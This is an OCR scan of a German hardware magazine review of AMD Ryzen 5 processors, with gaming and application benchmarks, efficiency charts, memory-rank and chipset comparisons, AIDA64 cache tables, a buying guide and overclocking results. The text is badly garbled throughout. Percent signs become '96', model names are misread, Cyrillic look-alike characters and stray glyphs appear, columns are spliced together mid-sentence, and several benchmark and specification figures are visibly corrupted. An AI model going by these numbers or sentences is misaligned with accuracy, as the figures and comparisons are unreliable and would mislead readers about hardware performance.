AMD FX-4300 (3,8+ GHz – 2m/4t 
AMD A10-7800 (3,5+ GHz — 2m/4t 
Intel Pentium G4400 (3,3 GHz – 2c/2 
AMD A8-7600 (3,1+ GHz — 2m/4 
Intel Core 2 Quad 06600 (2,4 GHz — 4c/4t) ЭЗЇЇ 29,6 (-71 96) 
Intel Core 2 Duo E8500 (3,16 GHz — 2c/2t) MAIN 20,4 (-80 96) 
AMD Ath. 64 X2 6400+ (3,2 GHz – 2с/21) 28 18,1 (-82 %) 
Intel Pentium EE 965 (3,73 GHz — 2c/4t) [Il 14,2 (-86 96) 
Intel Core 2 Duo E6600 (2,4 GHz — 2c/2t) Mil 14,0 (-86 96) 


zu ähnlich ausgestatteten  Intel- 
Core-i-CPUs. Pentium С aus der 
Kaby-Lake-Generation unterstützen 
den Befehlssatz jedoch gar nicht, 
was die Einführung entsprechen- 
den Programmcodes längere Zeit 
verzógern dürfte. 


Wesentlich wahrscheinlicher ist je- 
denfalls , dass künftige Programme 
dem aktuellen Trend folgen und 
weiter auf Mehrkernoptimierungen 
setzen. Auch Spiele schicken sich 
an, neben der reinen Taktfrequenz 
und IPC vermehrt auf zusätzliche 
Kerne sehr gut zu reagieren. In 
der Mehrzahl der Spiele unseres 
Benchmark-Parcours liegen Sechs-, 
Acht- und sogar Zehnkerner im ge- 
wichteten Mittel bereits vor hoch- 
taktenden Vierkernern trotz ihrer 
oft wesentlich niedrigeren Taktra- 
ten. Die „Dualcore-Domäne“ Star- 
craft 2, aber auch das AVX-optimier- 
te y-Cruncher fließen dabei nur mit 
halbem Gewicht in unseren Index 
ein. Eine weitere Stärke von Ryzen, 
die in gamerfokussierten Tests ty- 
pischerweise aber kaum eine Rolle 


spielt, ist die  Verschlüsselungs- 
performance in AES-Benchmarks. 
AIDA64 etwa zeigt dank dedizierter 
Crypto-Engines eine im Vergleich 
mit Intels Achtkernern mehr als ver- 
doppelte AES256-Leistung. 


Kleine Kaufberatung: 

AMD Ryzen 5 

Bevor wir nach so viel Vorrede zur 
Leistungsanalyse kommen, noch 
ein paar Worte zur Ryzen-Auswahl. 
Tendenziell geht - wie gerade be- 
schrieben - der Trend zu hóheren 
Kernzahlen. Dank des freien Mul- 
tiplikators haben Sie ohnehin bei 
allen Ryzen-Modellen die Móglich- 
keit, eventuell fehlenden Takt auf 
Wunsch und mit ein wenig Glück 
und Geschick nachzurüsten. Un- 
serer Erfahrung nach sind 3,7 GHz 
dabei die untere Grenze des Wahr- 
scheinlichen, 3,8 bis 3,9 GHz die Re- 
gel. Ab 4 GHz hilft auch eine Wasser- 
kühlung nur den Glücklichen mit 
einem besonders guten Sample. Die- 
se vergleichsweise niedrigen Takt- 
raten bedeuten im Umkehrschluss 
aber, dass Ihnen mit einem günsti- 


Ryzen 5: Hohe Effizienz im 80er-Bereich 


Effizienz in Spielen 


Effizienz in Anwendungen 


Intel Core i7-7700K (4,2+ GHz - 4c/8t) Xu 95,5 (4-100 96) 
Intel Core i7-6900K (3,2+ GHz – 8с/161) EEE 87,4 (+83 96) 
Intel Core i7-6800K (3,4+ GHz — 62/121) [XR 83,1 (+74 %) 

Intel Core i7-4790K (4,0+ GHz - 4с/8) X 83,0 (+74 %) 

AMD Ryzen 7 1800X (3,6+ GHz — 8с/161) [Ew 79,7 (4-67 %) 
AMD Ryzen 5 1600X (3,6+ GHz — 6122 EEE 79,5 (+66 96) 

AMD Ryzen 7 1700 (3,0+ GHz – 8c/16t) EEE 79,2. (+66 % 
AMD Ryzen 7 1700X (3,4+ GHz – 8с/161) amas 78,9 (4-65 96 

AMD Ryzen 5 1500X (3,5+ GHz – Act EN 76,2 (+59 96) 

Intel Core i7-2600K (3,4+ GHz – 4c/8t) ШЕ 66,6 (+39 96) 
AMD FX-8320E (3,24- GHz — 4m/8t) [XX 47,8 (Basis) 
AMD FX-9590 (4,7+ GHz – 4m/8t) Eu 40,2 (-16 %) 
AMD Ph. II X6 1100T (3,3+ GHz — 6c/6t) [X 37,2 (-22 96) 


Intel Core i7-6900K (3,24- GHz – 8c/16t) at 89,8 (4-137 %) 
AMD Ryzen 7 1700X (3,44- GHz – 8с/161) [WWW 86,5 (+128 96) 
AMD Ryzen 7 1700 (3,0+ GHz — 8c/16t) [EX 86,5 (+128 96) 
Intel Core i7-7700K (4,24- GHz – 4c/8t) ЖЕЕ 84,6 (+123 96) 
AMD Ryzen 7 1800X (3,6+ GHz — 8с/161) [XX 84,4 (4-123 96) 
Intel Core i7-4790K (4,0- GHz  4c/8t) | 78,0 (4-106 96) 
Intel Core i7-6800K (3,4+ GHz — 6c/12t) T Hum 75,2 (4-98 96) 
AMD Ryzen 5 1600X (3,6+ GHz 6c/12t) EEE 75,1 (+98 %) 
AMD Ryzen 5 1500X (3,5+ GHz  4c/8t) EEE 65,8 (+74 %) 
Intel Core i7-2600K (3,4+ GHz – 4c/8t) Eu 54,0 (+42 %) 
AMD FX-8320E (3,24- GHz — 4m/8t) [X 37,9 (Basis) 
AMD Ph. Il X6 11007 (3,3+ GHz — 6c/6t) EEE 29,2 (-23 %) 
AMD FX-9590 (4,7+ GHz — Am/8t) ШЕ 26,3 (-31 96) 


) 
) 


System: Intel X99, 2170/297/777, AMD X370/990FX,8 GiB RAM pro Speicherkanal (Geschw. 
jeweils laut max. CPU-Spezifikation), GF GTX 980 Ti & 1.380/3.900 MHz (359.06 HQ); Win 10 
64 Bit Bemerkungen: Alle Spiele-Tests 1.280 x 720 (16:9), um GPU-Limit zu verringern. 


Mimil @ Fps 


> Besser 


System: Intel X99, 2170/297/277, AMD X370/990FX,8 GiB RAM pro Speicherkanal (Geschw. 
jeweils laut max. CPU-Spezifikation), GF GTX 980 Ti @ 1.380/3.900 MHz (359.06 HQ); Win 10 
64 Bit Bemerkungen: Gesamtverbrauch in Watt in Relation zur Leistung. 


Prozent 
> Besser 
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Video-Transcoding: x264 Ultra HD & Multithread 


Plattform-l/O: B350 vs. X370 mit DDR4-0C 


2160p-Clip (-60mbps), Profile High10 4:2:0, CRF22, Recode & Resize 

AMD Ryzen 7 1800X (3,6+ GHz — 8c/16t) 20/83 64,3 (-66 96) 

AMD Ryzen 7 1700X (3,44- GHz — 8с/161) BT 67,5 (-65 96) 
Intel Core i7-6900K (3,24- GHz – 8c/16t) 23M 71,7 (-62 96) 
AMD Ryzen 7 1700 (3,0+ GHz - 8c/16t) 23:3: 73,1 (-62 96) 

AMD Ryzen 5 1600X (3,6+ GHz — 6с/121) ВШ 84,2 (-56 %) 

Intel Core i7-7700K (4,2+ GHz - 4c/8t) 29:2: 93,7 (-51 96) 
Intel Core i7-6800K (3,4+ GHz — 6c/12t) 29/0: 96,9 (-49 %) 
Intel Core i7-5820K (3,3+ GHz — 6c/12t) В ЕШШ 103,9 (-45 %) 
Intel Core i7-4960X (3,6+ GHz — 6c/12t) ВЗ 112,0 (-41 %) 
Intel Core i7-4790K (4,0+ GHz - 4c/8t) 86/7: 121,6 (-36 96) 
Intel Core i7-5775C (3,3+ GHz — 4c/8t) 882: 125,4 (-34 %) 
Intel Core i5-7600K (3,8+ GHz — 4c/4t) ВЭ 125,8 (-34 96) 
AMD Ryzen 5 1500X (3,5+ GHz — 4c/8t) BEP. 126,2 (-34 %) 
AMD FX-9590 (4,7+ GHz — Am/8t) ШШШ 138,4 (-27 96) 
Intel Core i7-990X (3,464- GHz — 6c/12t) 40/9: 138,9 (-27 %) 
Intel Core 15-7500 (3,4+ GHz — 4c/4t) 43/6: 139,4 (-27 96) 
Intel Core i5-5675C (3,1+ GHz — 4c/4t) SB 160,0 (-16 96) 
Intel Core i5-4690K (3,5-- GHz — 4c/4t) 48/6 162,6 (-15 96) 
Intel Core i7-3770K (3,5+ GHz – Ac/8t) 480 163,3 (-14 96) 
AMD FX-8300 (3,3+ GHz — Am/8t) SSH 182,6 (-4 96) 
Intel Core i7-2600K (3,4+ GHz — 4c/8t) BA] |: 190,5 (Basis) 
Intel Core i5-3570K (3,4+ GHz — 4c/4t) BTE 199,0 (+4 96) 
AMD FX-6350 (3,9+ GHz — 3m/6t) #628! [e 209,4 (4-10 96) 
AMD Ph. II X6 1100T (3,3+ GHz — 6c/6t) 65 ou 226,0 (+19 96) 
AMD Ph. II ХД 955BE (3,2 GHz — 4c/4t) X962: Eu 341,9 (+79 %) 


Intel Core 2 06600 (2,4 GHz — 4c/4t) Eid; E 512,8 (4-169 %) 


Spiele- und Anwendungsleistung B350 vs. X370 sowie Stromverbrauch 
105 


104 О X370 (Basis, 100 96) (100 0) 
103 € B350: Leistung Avg.-Fps (100 Ø) 


102 


101 


en ran 
99 


= / lb adi 

Ñ UJ 

94 | 

93 


92 
91 


А B350: Leistung: Min.-Fps (100,4 @) 
x B350: Stromverbrauch in Watt (97,6 Ø) 


Prozent 


X370: Asus X370 Crosshair VI Hero (UEFI 1102, AGESA 1.0.0.4) B350: Asrock AB350 Gaming КА (UEFI 
P2.20A, AGESA 1.0.0.4) Beide Boards mit 2x DDR4-3200 Single-Rank (16-18-18-18-36-1T) @ 1,39 Volt 


Offiziell unterstützte DDRA-Geschwindigkeiten 


System: Intel X99, 2170/797/277, AMD X370/990FX,8 GiB RAM pro Speicherkanal (Geschw. 
jeweils laut max. CPU-Spezifikation), GF GTX 980 Ti @ 1.380/3.900 MHz (359.06 HQ); Win 10 
64 Bit Bemerkungen: Neben 3D-Rendering ist Video-Transcoding eine Ryzen-Paradedisziplin. 


Sekunden 
RESMI Rec. 


< Besser 


Lightroom 5.7.1 


Raw-Fotoumwandlung (30 Bilder aus Nikon D800) 


Intel Core i7-6900K (3,2-- GHz — 8c/16t) EX 93 (-47 %) 
AMD Ryzen 7 1800X (3,6+ GHz — 8с/161) EEE 105 (-40 96) 
AMD Ryzen 7 1700X (3,4+ GHz — 8c/16t) EE 111 (-37 96) 

Intel Core 17-6800К (3,4+ GHz — 6c/12t) FE 111 (-37 96) 
AMD Ryzen 5 1600X (3,6+ GHz — 6с/121) EEE 111 (-37 96) 

Intel Core i7-4960X (3,6+ GHz — 67/121) EEE 114 (-35 96) 

AMD Ryzen 7 1700 (3,0+ GHz – 8с/161) E 117 (33 96) 

Intel Core i7-7700K (4,2+ GHz — 4с/81) Eu 118 (33 %) 
Intel Core i7-5820K (3,3+ GHz — 60/121) EEE 119 (-32 96) 
AMD Ryzen 5 1500X (3,5+ GHz — 4c/8t) EEE 123 (-30 96) 

Intel Core i5-7600K (3,8+ GHz – 4с/41) Eu 129 (-26 96) 

Intel Core i7-4790K (4,0+ GHz — 4с/81) ju 132 (25 %) 

Intel Core i7-5775C (3,3+ GHz — 4c/8t) EEE 133 (24 %) 

Intel Core 15-7500 (3,4+ GHz — 4c/4t) Eu 142 (-19 96) 
AMD FX-9590 (4,7+ GHz — Am/8t) | 146 (-17 96) 

Intel Core i5-4690K (3,5-- GHz – 4с/41) Xu 150 (-14 96) 

Intel Core i7-3770K (3,5+ GHz – 4с/81) EEE 154 (-12 %) 

Intel Core i7-990X (3,46+ GHz — 6c/12t) Xu 157 (-10 96) 

Intel Core i5-3570K (3,4+ GHz — 4с/41) EEE 159 (-9 %) 

Intel Core i5-5675C (3,1+ GHz — 4c/4t) | 160 (-9 96) 

Intel Core i7-2600K (3,4+ GHz — 4с/81) XX 175 (Basis) 

AMD FX-8300 (3,3+ GHz — Am/8t) | 177 (1 %) 
AMD FX-6350 (3,9+ GHz – 3m/6t) Eu 184 (+5 %) 

AMD Ph. Il X6 11007 (3,3+ GHz - 6c/6t) Eu 206 (+18 96) 

AMD Ph. Il ХД 955BE (3,2 GHz — 4с/41) Eu 259 (+48 96) 

Intel Core 2 06600 (2,4 GHz – 4с/41) aaa 3 


66 (+109 96) 


2400er-Dual- vs. 2667er-Single-Rank (Spiele +1,3/1,1 % (Min/Avg.); Anw. +1,2 %) 


110 
109 9 DDR4-2667 Single-Rank (Basis, 100 96) (100 Ø) 
A DDR4-2400 Dual-Rank: Leistung: Min.-Fps (102,3 Ø) 1 
108 | g DDR4-2400 Dual-Rank: Leistung: Avg.-Fps (101,4 @) Д 
107 | x DDR4-2400 Dual-Rank: Stromverbrauch іп Watt (100,8 Ø) | \ 
106 ^ 
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System: Ryzen 5-1600X @ default, Asus X370 Crosshair VI Hero (UEFI 1102, AGESA 1004), identische Ti- 
mings CL14-13-13-13-33, abweichende Timings: Command Rate Dual-Rank 2T, Command Rate Single-Rank 1T 


Single- vs. Dual-Rank bei gleichem Takt/Timings 


System: Intel X99, 7170/797/777, AMD X370/990FX,8 GiB RAM pro Speicherkanal (Geschw. 
jeweils laut max. CPU-Spezifikation), GF GTX 980 Ti @ 1.380/3.900 MHz (359.06 HQ); Win 10 
64 Bit Bemerkungen: Ryzen arbeitet in Lightroom auf Augenhöhe mit aktuellen Intel-CPUs. 


Sekunden 
< Besser 


DDR4-2667: 1:1-Vergleich zwischen Single- und Dual-Rank-Speicher 
116 


m O Single Rank (Basis, 100 %) (100 Ø) А Dual-Rank: Leistung: Min-Fps (106,2 Ø) 


€ Dual-Rank: Leistung: O-Fps (103,8 Ø) x Dual-Rank: Stromverbr. in Watt (102,2 @) 
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System: Ryzen 5-1600X @ default, Asus X370 Crosshair VI Hero (UEFI 1102, AGESA 1004), identische 
Timings CL14-13-13-13-33-1T (bei DDR4-2667 möglich, bei DDR4-2400 nicht) 
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AIDA64 v5.90.4200: Cache-/RAM-Performance 


AIDA64 Cachemem Ryzen 5-1600X Ryzen 5-1500X Ryzen 7-1800X 
DDR4-2400 (DR) DDR4-2667 (SR) | DDR4-2667 (DR) DDR4-3200 (SR) DDR4-2400 (DR) DDRA-2400 (DR) 
14-13-13-13-33-2T 14-13-13-13-33-1T 16-18-18-18-36-1T 14-13-13-13-33-2T 14-13-13-13-33-2T 
AGESA 1.0.0.2 AGESA 1.0.0.4 AGESA 1.0.0.2 AGESA 1.0.0.2 AGESA 1.0.0.2 | AGESA 1.0.0.4 AGESA 1.0.0.4 AGESA 1.0.0.4 
emory Read 36,5 36,6 41,0 41,4 47,4 47,6 36,1 36,8 
emory Write 36,7 35,9 40,3 41,6 46,3 46,3 34,8 36,0 
emory Copy 36,2 35,3 37,9 40,5 40,9 40,9 35,3 35, 
Memory Latency 89,7 ns 81,6 ns 84,8 ns 85,4 ns 77,8 ns 72,0 ns 85,2 ns 79,8 ns 
L1 Read* 688,2 688,0 688,2 688,4 688,5 688,5 446,4 917,1 
L1 Write* 3452 345,2 345,2 345,2 345,3 345,3 224,0 460,0 
L1 Copy* 688,3 688,3 688,5 688,6 688,8 688,7 446,7 916,7 
L1 Latency 1,0 ns 1,0 ns 1,0 ns 1,0 ns 1,0 ns 1,0 ns 1,0 ns 1,0 ns 
L2 Read 653,8 659,4 655,2 654,9 654,2 660,7 427,8 851,8 
L2 Write 340,5 344,0 338,8 343,6 341,2 343,6 223,1 449,2 
L2 Copy 553,0 586,0 571,6 580,9 581,8 583,4 378,6 737,3 
12 Latency 4,2 ns 4,2 ns 4,2 ns 4,2 ns 4,2 ns 4,3 ns 4,4 ns 4,2 ns 
L3 Read 5735 386,6 374,7 386,7 387,0 386,8 325] 387,6 
L3 Write 321,9 328,8 319,3 326,5 329,3 328,2 213,5 386,2 
L3 Copy 385,1 407,2 401,3 410,7 385,8 400,0 315,9 450,3 
L3 Latency 11,0 ns 11,0 ns 11,0 ns 11,0 ns 11,0 ns 11,1 ns 11,5 ns 11,0 ns 


Die Werte liegen im Bereich dessen, was auch AMD mit ihren internen Tools erreicht — mit einer Ausnahme: L2 Copy, hier liegen AMDs interne Messungen mit bis zu 611 GB/s etwas hóher als 


unser Maximum von 586 GB/s. Aufgrund der teils starken Messschwankungen haben wir jeweils den Bestwert aus mindestens fünf Durchläufen abgedruckt. 


Auflösungsskalierung 


Crysis 3 SP (DX11) , Fields" 


Core i7-7700K © 1440р =n 
Core i7-7700K @ 2160р E56 62,8 (Basis) 


Ryzen 5 1600Х @ 1440р W 
Ryzen 5 1600X @ 2160р [sy 62,9 (Basis) 


Ryzen 5 1500X @ 720p [sgg s 104,2 
Ryzen 5 1500Х © 1080р [gares 103,3 


Ryzen 5 1500X @ 2160р E56: 62,6 (Basis) 
Core i5-7600K @ 720p gn E 102,6 


Core i5-7600K @ 2160р [sz 63,2 (Basis) 


Core i7-7700K @ 720p YG 146,2 (+133 90) 
Corei7-7700K @ 1080р Ea ШЕШ 143,3 (+128 %) 


124,6 (+99 %) 


Ryzen 5 1600X @ 720p = 140,3 (+123 96) 
Ryzen 5 1600X @ 1080р |a ШЕН 140,2 (+123 96) 


23,1 (+96 %) 


(+66 96) 
+65 96) 


Ryzen 5 1500X © 1440р Eger 98,6 (+58 96) 


+62 96) 


Core i5-7600K @ 1080р Egg Ex 101,9 (+61 96) 
Corei5-7600K @ 1440р Egal ww 99,2 (+57 96) 


DDR4-2667 DR (14-13-13-13-33-1Т) Eis Sw 81,8 (+4 96) 
DDRA-3200 SR (16-18-18-18-36-1T) СОЈ ШЕШ 79,8 (+1 96) 
DDR4-2400 DR (14-13-13-13-33-17) 5696 78,7 (Basis) 
DDR4-2667 SR (14-13-13-13-33-1Т) ggg S 77,6 (-1 96) 
Intel Core i5-7600K (3,8+ GHz — 4c/4t) gg e 76,8 (-2 96) 
AMD Ryzen 5 1500X (3,5+ GHz – 4с/81) Esp s 70,9 (-10 %) 
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geren Modell im Zweifel nicht viel 
entgeht und so war schon bei den 
Achtkernern der Ryzen 7 1700 mit 
seinem niedrigen Takt, aber günsti- 
gen Preis unser Geheimfavorit. 


Ähnliches gilt - vorbehaltlich se- 
parater Tests - wohl auch für die 
Ryzen-5-Modelle: Sofern Sie das 
Übertakten nicht scheuen, können 
Sie einige Euro sparen oder gegebe- 
nenfalls sogar in zusätzliche Kerne 
investieren. Dem vermutlich rund 
30 Euro günstigeren Ryzen 5 1600 
ohne X etwa fehlen 400 MHz zum 
5er-Topmodell - eine Differenz, die 
selbst mit durchschnittlicher Luft- 
kühlung überbrückbar erscheint. 


Der grófsere der beiden Vierkerner 
für knapp 210 Euro Launch-UVP 


Übertakten abgeneigt sind, desto 
eher lohnt sich auch hier der Griff 
zum Ryzen 5. Hierbei ist aber der 
kleinere Vierkerner R5-1400X noch 
eine unbekannte Grófse, denn bei 
diesem deaktiviert AMD erstmals 


mit 8 anstelle von 16 MiByte des 
schnellen Zwischenspeichers aus- 
kommen muss. 


Leistungsschau Ryzen 5 

Selbst der R5-1500X hat sámtliche 
Vorgángermodelle von AMD locker 
im Griff und arbeitet dabei wesent- 
lich effizienter, sodass AMD-treue 
Aufrüster nicht enttäuscht sein 
werden. Aktuell liegt die Spiele-Per- 
formance dank SMT zwischen Core 
15-7400 und 15-7500 mit Tendenz 
zu Letzterem. In Anwendungen ha- 
ben die Intel-Vierkerner etwa beim 
Video-Transcoding, beim 3D-Rende- 
ring oder bei der Bildbearbeitung 
keine Chance, nur im hochoptimier- 
ten y-Cruncher liegen beide vor 
dem R5-1500X beim Komprimieren 


mit 7-Zip grob gleichauf. 


System: Intel X99, 2170/297/777, AMD X370/990FX,8 GiB RAM pro Speicherkanal (Geschw. Miri! e F lechzt ebenfalls nach Übertaktung: 
jeweils laut max. CPU-Spezifikation), GF GTX 980 Ti & 1.380/3.900 MHz (359.06 HQ); Win 10 ps : В R . . А ӨР 
64 Bit Bemerkungen: Alle Spiele-Tests 1.280 x 720 (16:9), um GPU-Limit zu verringern. > Besser Ab Werk liegt er noch sehr dichtan Für die mittel- bis langfristige Nut- 
den ähnlich hoch taktenden Inte- zung empfiehlt sich jedoch eher 
Quadcores, bietet jedoch zusätzlich der Griff zu einem der Sechskern- 
i OC und SMT/Hyperthreading. Je Modelle, die aktuell in einer eige- 
Ryzen 5 1600X: RAM oc mehr Sie multithreaded arbeiten пеп (Preis-)Klasse zwischen Core 
Ryzen-5-Leistung mit RAM-OC (Spieleleistung; Anwendungen im Balken) und spielen und je weniger Sie dem i5 und i7 spielen: Die SMT-losen 


Intel-Quadcores sind in Spielen ins- 
gesamt etwas langsamer und in An- 
wendungen geradezu chancenlos - 
der Aufpreis für den R5-1600X von 
rund 40 Euro gegenüber Intels i5- 
7600K wirkt mehr als angemessen, 


System: Sofern nicht anders angegeben Ryzen 5 1600X auf X370 (Dual-Channel, UEFI Prozent auch Teile des L3-Caches, sodass wobei der Preis mit längerer Markt- 
1102), GF GTX 980 Ti @ 1.380/3.900 MHz (359.06 WHQL HQ); Win 10 64 Bit Bemer- AAWE Spiele der kleinere der beiden Quadcores präsenz noch sinken dürfte. Auch 
kungen: Im Leistungsindex schlagen Dual-Rank-Riegel das RAM-OC auf DDR4-3200. » Besser als bislang einziger Ryzen-Prozessor gegen den mit 65 Euro Aufpreis 
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merklich teureren Core i7-7700K A 
schneidet der R5-1600X noch sehr x 

gut ab. Im normierten Anwen- PROZESSOREN < вух" E 
dungsmittel ist er überlegen und in Auszug aus Testtabelle = em E 
it vielen weiteren Wertungskriteri wet š 
mehrkernoptimierten Spielen wie REESEN aN Z= & 
Crysis 3 oder F1 2015 kommt er teils Š 
an die schnelle, teurere Intel-CPU Prozessor AMD Ryzen 5 1500X š 
heran, die das Effizienz-Rating aber PCGH-Preisvergleich www.pcgh.de/preis/1604881 www.pcgh.de/preis/1604878 = 
weiterhin klar für sich entschei- Preis/Preis-Leistungs-Verhältnis Ca. 280 Euro/- Ca. 210 Euro/- 3 
: . I Für Mainboards mit Sockel ... AM4 (Sockel 1331) AM4 (Sockel 1331) S 
det. Im Spiele-Mittel liegt der R5- Codename Summit Ridge Summit Ridge E 
1600X rund 19 Prozent hinter dem Anzahl Kerne/Module, Uncore-/L3-Takt 6 (12), wie Speicher-/Kerntakt 4 (8), wie Speicher-/Kerntakt E 
i7-7700K, aber 2 Prozent vor dem Basistakt (Turbo für alle und einen Kern) 3,6 GHz (3,7-4,1 GHz) 3,5 GHz (3,6-3,9 GHz) Е 
A ungewiss is, Ct em I: ar ti mm : 
N S. -Cache (je Kern/Modu gesam iByte iByte Byte, iByte E 
ob die Ryzen-CPUs hier in Zukunft Transistoren, Fertigung, Die-Size 4,8 Mrd., 14 nm, unbekannt 4,8 Mrd., 14 nm, unbekannt = 
deutlich zulegen werden - aktuelle Tre ЕКШЕ, 2,14 2,14 = 
Software ist nur eingeschänkt für Grafikeinheit Nicht vorhanden Nicht vorhanden Е 
AMDs Mittelklasse optimiert. (cs) O und Erweiterungen (Auswahl) SSE bis 4.2, AVX bis 2, AES, FMA3 SSE bis 4.2, AVX bis 2, AES, FMA3 Р 
Integrierte PCI-Express-Lanes 24x PCI-Express 3.0 24x PCI-Express 3.0 5 
Eigenschaften (20 % der Endnote) 1,86 2,04 z 
Offener Multiplikator* Ja (bis 63,75) Ja (bis 63,75) © 
Fazit Hardware Übertaktung per Referenztakt?* Ja Ja * 
Speicherkanäle (u. max. Geschwindigkeit*/**) 2x DDR4-2667 Single-Rank/-2400 Dual-Rank 2x DDR4-2667 Single-Rank/-2400 Dual-Rank x 
Ryzen 5 TDP laut Hersteller** 95 Watt 65 Watt ^. 
Я Systemverbrauch Leerlauf abzüglich Grafikkarte | 28 Watt 28 Watt 8 
a sallan sanen Systemverbrauch (Anno/C3/TW3)** 22213171276 Watt 2141275/254 Watt E 
jetzt (Software-Optimierungsstand, Systemverbrauch Spiele (Durchschnitt)* * 261 Watt 244 Watt E 
Einführungspreise) äußerst attraktive Systemverbrauch Anwendungen (Durchschnitt)** | 166 Watt 137 Watt 3 
Angebote in ihrer jeweiligen Preis- Leistung (60 % der Endnote) 2,04 2,55 £ 
klasse dar: Absolut gesehen völlig Spieleindex (60 % der Leistungsnote) 78,7 % 70,9 % E 
n А Anwendungsindex (40 % der Leistungsnote) 69,6 % 51,1% ei 
ausreichende Leistung, konkurrenz- -- — ; ЕЕН E 
Te M $ © „Einzigartig” in seiner Preisklasse © Dank SMT zukunftsorientierter als Intels Core i5 B 
fáhige Effizienz und sehr gute Multi- © Sehr hohe Anwendungs- und gute Spieleleistung © Vergleichsweise günstiger Quadcore+SMT-Einstand = 
thread-Leistung sprechen für AMDs F A Z | | © Einführungspreis noch etwas hoch © Etwas niedriger Takt, Spieleleistung leidet 5 
Sechs- und Vierkern-CPUs. Wertung: 2,02 Wertung: 2,36 à 


Anwendungsleistung - die große Stärke der Ryzen-Prozessoren 


Prozessormodell 3DM Fire Strike | Cinebench R15 7-Zip Lightroom 5.7.1 | Blender 2.76 | Blender 2.78 y-Cruncher y-Cruncher 
Physik (Punkte) | (Punkte ST/MT) | (Sekunden) | (Sekunden) (Sekunden) | VC14 (Sek.) | 0.6.9.9462 (Sek.) | 0.7.2.9468 (Sek.) 

Intel Core i7-6950X 21.430 166/1.805 120 90 17 = 69,5 = 
Intel Core 17-6900К 19.232 167/1.483 126 93 43 106 74,6 66, 1 
AMD Ryzen 7-1800X 9.312 163/1.639 184 105 40 108 108,7 90,7 
Intel Core i7-5960X 6.203 139/1.329 135 108 6 = 81,2 = 
AMD Ryzen 7-1700Х 8.246 155/1.557 191 111 49 113 113,4 94,2 
AMD Ryzen 7-1700 6.798 148/1.426 203 117 6 123 121,5 101 
ntel Core i7-6800K 5.644 156/1.114 170 111 86 = 107,7 = 
AMD Ryzen 5-1600Х ШУ 1631.244 229 111 8 139 146,3 198 
ntel Core i7-5820K 3.589 142/1.022 168 119 203 = 110,4 = 
ntel Core i7-7700K 4.240 195/974 184 118 205 154 98,5 89,7 
ntel Core i7-4790K 1.924 175/857 197 32 23 = 127,8 - 
ntel Core i7-5775C 2.278 155/787 195 133 257 = 139,3 = 
ntel Core i7-990X 2.349 108/822 232 57 243 = 322,2 -= 
AMD Ryzen 5-1500X А185 156/818 283 123 266 201 208,9 171,4 
ntel Core i5-7600K 9.013 182/676 256 29 332 226 129,7 113,5 
AMD FX-9590 8.407 113/727 208 146 415 = 256,4 = 
ntel Core i7-3770K 9.926 142/679 217 54 316 = 291,5 - 
ntel Core i5-7500 8.101 157/610 275 42 361 Sal 143,4 124,6 
ntel Core i5-4690K 7.482 155/565 288 50 368 - 168,3 = 
ntel Core i7-2600K 8.971 34/619 253 75 351 = 316,8 = 
ntel Core i5-3570K 6.953 34/524 285 59 431 = 348,3 = 
AMD FX-8300 6.638 97/530 237 77 560 = 326,8 = 
AMD Phenom II X6 1100T 7.066 95/498 334 206 443 = 424,5 = 
AMD FX-6350 6.238 00/469 268 84 630 = 356,2 = 
Intel Core i5-2500K 6.192 29/462 351 86 493 _ 393,2 = 
Intel Pentium G4560 6.022 49/382 SCH 235 510 498 621,7 574,4 
AMD Phenom Il X4 955BE 4.742 82/325 449 259 672 - 675,8 - 
Intel Core 2 Quad 06600 3.648 63/235 761 366 919 = 877,5 = 
Sortiert nach Gesamt-Ranking im PCGH-Anwendungsindex. AMD Ryzen/Intel Core i-7000 mit DDR4-2400, Skylake mit DDR4-2133, AMD FX mit DDR3-1866. 
Alle Speichermodule mit Dual-Rank-Bestückung. 
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Ryzen 5: Overclocking und RAM-Tuning 


m die Rechenleistung der 

neuen AMD-Prozessoren mit 
sechs und vier Kernen zu erhöhen, 
bietet sich das Übertakten an. In 
der vergangenen Ausgabe unter- 
suchten wir das Tuning-Potenzial 
von insgesamt fünf Ryzen-7-Chips, 
was uns einen ersten Eindruck be- 
züglich der Serienstreuung ermög- 
lichte. Das Topmodell 1800X er- 
wies sich dabei tendenziell als das 


beste Modell, wenn möglichst hohe 
Taktfrequenzen erzielt 
sollen. Die mit Abstand größten 
Reserven im Verhältnis zum Kern- 
takt und auch das beste Preis-Leis- 
tungs-Verhältnis bietet allerdings 
der 1700, der für Sparfüchse noch 
etwas attraktiver als der 1700X ist. 
Leider zeigten sich alle Chips von 
Overvolting wenig angetan: Im 
Bereich über 1,25 Volt bringt eine 


werden 


Als CPU-Kühler verwenden wir für unsere OC-Tests einen Noctua NH-U12 SE-AM4 


mit einem auf 1.500 U/min fixierten 120-mm-Lüfter. 


Spannungserhöhung von 0,05 Volt 
meistens nur ein Taktplus von rund 
50 MHz. Cinebench-stabile 4 GHz 
erzielten wir nur mit einem 1800X 
ab 1,35 Volt beziehungsweise ei- 
nem 1700X ab 1,40 Volt. 


Weniger Kerne, mehr Takt? 
Während über unterschiedliche 
CPU-Generationen hinweg die 
Topmodelle mit vielen Kernen die 
höchste Leistung bieten, punkten 
die günstigeren Ableger mit weni- 
ger Kernen typischerweise durch 
eine niedrigere Leistungsaufnah- 
me und verringerte Abwärme, was 
mehr Spielraum für Übertakter ver- 
spricht. 


Ryzen 5 1500X: Sparsam - leider 
auch beim Takt. Der Vierkerner 
wird bei Auslastung aller Kerne 
vom Asus Crosshair VI Hero mit 
einer Spannung von rund 1,24 be- 
ziehungsweise 1,20 Volt versorgt - 
abhängig davon, ob wir die Option 
„Core Performance Boost“ in der 
Voreinstellung belassen oder deak- 
tivieren. Ersteres sorgt dank eines 
Taktplus von 100 MHz für eine hö- 
here Leistung, Letzteres steigert die 
Energieeffizienz. Die höchste Ener- 


gieeffizienz lässt sich über manuel- 
les Undervolting erzielen, unsere 
bis 1,00 Volt hinabreichenden Ska- 
lierungstests zeigen das Potenzial, 
aber auch die Grenzen auf: Under- 
volting ohne Leistungsverluste ist 
nur bis 1,10 Volt möglich, bei einer 
geringeren Kernspannung kann 
der Standardtakt nicht stabil gehal- 
ten werden. Wer auf Leistung und 
Effizienz gleichermaßen achtet, 
sollte sich am besten auf Spannun- 
gen zwischen 1,20 und 1,30 Volt 
beschränken. Noch höhere Span- 
nungen bringen nur ein geringes 
Taktplus, treiben aber vor allem 
den Strombedarf in die Höhe. Die 
Hoffnung, dass weniger Kerne ein 
höheres OC-Potenzial bedeuten, er- 
füllt unser Testmuster nicht: Ryzen- 
7-Chips erreichen ähnliche, teilwei- 
se sogar höhere Taktfrequenzen 
bei identischer Spannung. Aus 
